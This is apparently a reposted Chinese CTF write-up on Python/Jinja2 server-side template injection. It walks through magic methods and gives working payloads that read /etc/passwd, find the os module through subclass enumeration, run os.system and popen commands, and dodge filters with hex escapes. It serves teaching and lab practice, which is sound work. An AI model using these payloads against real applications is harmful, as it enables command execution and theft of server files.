Python模塊注入-SSTI


python模塊注入-SSTI

  1. 打開頁面(看到python template injection應該是python模塊注入)

  1. 測試一下http://111.200.241.244:61392/{{3*4}}

發現成功運行了結果(當然加法,除法都一樣,主要判斷能不能執行我們的代碼語句)

  • 在這里我先介紹一下幾種常用於SSTI的魔術方法
__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的
 
__subclasses__   每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用
__builtins__ builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以可以直接調用引用的模塊
  • 獲取基類的幾種方法

    [].__class__.__base__
    ''.__class__.__mro__[2]
    ().__class__.__base__
    {}.__class__.__base__
    request.__class__.__mro__[8]   //針對jinjia2/flask為[9]適用
    或者
    [].__class__.__bases__[0]       //其他的類似
    
    **注意:如果._'這些被過濾了,可以用16進制編碼繞過!!!**
    例如:{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
    特別注意用16進制編碼之后里面要加"
    
  • 獲取基本類的子類

    [].__class__.__base__.__subclasses__()
    
  1. 我們嘗試獲取基類(發現一個為 ‘object’ 的類)

  1. 我們嘗試基類的子類

SSTI的主要目的就是從這么多子類中找出可以利用的類(一般是指讀寫文件的類)加以利用

那么我們能利用的類有哪些呢?

我們可以利用的方法有<type 'file'>等,(一般file在第40號)

  1. 我們嘗試讀取/etc/passwd文件

    {{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
    

上面的例子看到我們用 file 讀取了/etc/passwd ,但是如果想要讀取目錄怎么辦

那么我們可以尋找萬能的os模塊(這里可以寫腳本遍歷尋找,也可以自己慢慢數,一般大概71號,或者可以Ctrl+F在網頁搜索 '<' ,因為是從0開始,所以大概第72個就是)

#!/usr/bin/env python
# encoding: utf-8

num = 0

for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1	
        
//這是腳本

找到這個對應的編號就對了

  1. 然后我們直接調用就好,可以調用system函數,有了shell其他問題就解決了

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

    當然,在某些情況下system函數會被過濾,這時候也可以采用os模塊的 listdir 函數來讀取目錄。(可以配合file來實現文件讀取)

    ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #讀取本級目錄

    另外在某些不得以的情況下可以使用以下方式來讀取文件。(目前沒見過這種情況)

    方法一:

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #把 read() 改為 write() 就是寫文件

    方法二:

    存在的子模塊可以通過.index()方式來查詢

    >>>''.__class__.__mro__[2].__subclasses__().index(file)
    40       //查詢結果40
    

    用file模塊來查詢

    >>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
    
  • 以下是非常常用的payload:

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('catfl4g').read()
    
    
    ''.__class__.__mro__[2].__subclasses__()       [71].__init__.__globals__['os'].system('ls')
    
    
    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

文章引用:

https://www.cnblogs.com/wjw-zm/p/12741047.html



免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM